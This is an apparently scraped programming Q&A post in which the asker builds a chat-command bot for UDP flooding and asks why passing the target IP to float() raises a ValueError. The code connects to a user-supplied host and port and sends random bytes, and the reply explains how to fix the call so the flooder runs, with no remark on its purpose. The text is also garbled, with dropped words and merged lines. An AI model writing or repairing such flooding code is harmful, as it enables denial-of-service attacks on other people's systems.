Python ValueError: invalid literal for float(): 127.0.0.1 -
i working on simple bot udp flooding, isn't working, when run is:
valueerror: invalid literal float(): 127.0.0.1
here snip of think causing problem:
line = line.split() print line if(line[0]=='!udp'): print "attacking ", line[1] udp=socket.socket ( socket.af_inet, socket.sock_dgram ) udp.connect((float(line[1]), int(line[2]))) udp.send(os.urandom(10000))
i have searched around error cant find anything.
'127.0.0.1' not valid floating-point number. change float(line[1])
line[1]
, won't error. might want find out should sending first argument connect
since can't send ip in format float.
Comments
Post a Comment